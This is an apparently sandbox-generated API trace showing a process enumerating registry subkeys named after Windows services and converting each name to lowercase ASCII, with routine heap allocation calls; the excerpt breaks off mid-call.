RegEnumKeyW (in: hKey=0x15c, dwIndex=0x25, lpName=0x1c829e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1c946d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.286] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x26, lpName=0x1c829e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.286] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x27, lpName=0x1c829e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.286] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0029.286] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.286] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.286] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x28, lpName=0x1c829e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.287] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x29, lpName=0x1c829e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.287] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2a, lpName=0x1c829e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.287] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.287] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2b, lpName=0x1c829e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.287] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1c946d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.288] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2c, lpName=0x1c829e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.288] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2d, lpName=0x1c829e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1c946d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.288] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2e, lpName=0x1c829e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1c94450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0029.288] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.288] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.288] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2f, lpName=0x1c829e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.289] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x30, lpName=0x1c829e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.289] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x31, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.289] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.289] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x32, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0029.289] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.290] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x33, lpName=0x1c829e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.290] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x34, lpName=0x1c829e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.290] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x35, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0029.290] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.290] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.290] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x36, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.291] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x37, lpName=0x1c829e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1c946d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.291] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x38, lpName=0x1c829e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c946d8) returned 1 [0029.291] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0029.291] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x39, lpName=0x1c829e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.291] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c946d8 [0029.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1c946d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0029.291] RtlAllocateHeap 